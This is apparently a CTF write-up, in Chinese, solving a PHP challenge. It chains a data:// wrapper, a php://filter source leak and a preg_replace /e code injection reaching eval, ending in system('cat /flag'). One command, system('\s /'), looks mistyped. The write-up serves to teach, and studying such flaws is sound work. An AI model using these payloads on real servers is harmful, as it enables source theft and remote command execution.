题目场景:
#解题
对代码进行审计。
error_reporting( )是PHP的内置函数,控制当前脚本要报告哪些类型的错误、警告、提示。
| 常量 | 含义 |
| 0 | 关闭所有错误报告 |
| E_ALL | 显示所有错误 |
| E_ERROR | 致命错误 |
| E_WARNING | 警告 |
| E_NOTICE | 提示 |
| E_PARSE | 语法解析错误 |
| E_STRICT | 代码标准提示 |
继续审计代码,要求传两个参数text和file。
对于(file_get_contents($text,'r')==="I have a dream")这个条件,
要求以只读方式打开$text文件,文件内容为"I have a dream"。
这里不是去真的找到这个未知文件,而是用到一个PHP协议。
数据流封装协议
完整语法:data://[MIME类型];[编码],数据内容
本题构造:data://text/plain,(字符串)
其核心作用是直接将字符串作为“数据源”来读取,无需依赖外部文件。
简单说就是把字符串伪装成一个可读取的文件流,常被用于代码执行、绕过文件读取限制等场景。
PHP默认启用data://协议,除非在php.ini中通过 allow_url_fopen=Off 或 allow_url_include=Off 禁用。
根据代码审计结果,初步构造payload:
?text=data://text/plain,I have a dream&file=next.php页面回显结果:
没有有用信息。
继续。
对第二个参数也进行伪协议读取,尝试读取php文件源码。
file=php://filter/convert.base64-encode/resource=next.php
完整payload:
?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php这次页面回显:
出现base64字符串,对其进行解码。
解码结果:
<?php $id = $_GET['id']; $_SESSION['id'] = $id; function complex($re, $str) { return preg_replace( '/(' . $re . ')/ei', 'strtolower("\\1")', $str ); } foreach($_GET as $re => $str) { echo complex($re, $str). "\n"; } function getFlag(){ @eval($_GET['cmd']); }#代码说明
$_SESSION
这是PHP内置的超全局数组,专门用来存储当前用户会话的专属数据。
本题这是个干扰项,用不到。
preg_replace
基本语法:
preg_replace($pattern, $replacement, $subject, $limit=-1, &$count=null);
$pattern末尾可以加修饰符,如 i、g、e等。
i:忽略大小写。 g:全局匹配。
e:替换内容作为PHP代码执行。
(注意:/e修饰符仅在PHP5.x生效)
下面仔细观察题目中对应的这行代码:
preg_replace('/(' . $re . ')/ei', 'strtolower("\\1")', $str);'/(' . $re . ')/ '可以等价为"/($re)/"
PHP字符串解析规则
单引号:不解析变量、仅解析 \'(转义单引号)和
\\(转义反斜杠)。双引号:解析变量、解析常见的转义字符。
正则分组
用()分组匹配,\1 代表引用第一个分组内容。原代码中的 \\1 是因为需要转义,转义后就是 \1 。
这里说的有点细了,我们继续看代码。
接着还有一个foreach函数,作用是遍历所有GET参数(foreach($_GET as $re => $str)),$re代表参数名,$str代表参数值。这里就能解释开始的页面为啥莫名其妙显示这些内容。
依次遍历参数text和file,echo了对应的参数值。
代码搞清楚之后,思路就很清晰了。
首先构造:\S*=${getFlag()}
\S*表示匹配非空白字符0次到无限次。
${getFlag()}表示双引号下 ${...} 当成代码执行。
接着构造:cmd=system('\s /')
查看完目录后,再cmd=system('cat /flag')
没啥好解释的。
最终payload:
?text=data://text/plain,I have a dream&file=next.php&\S*=${getFlag()}&cmd=system('cat /flag');或者
/next.php?\S*=${getFlag()}&cmd=system('cat /flag');两种
Congratulations!
【个人理解,如有不妥,欢迎交流指正。】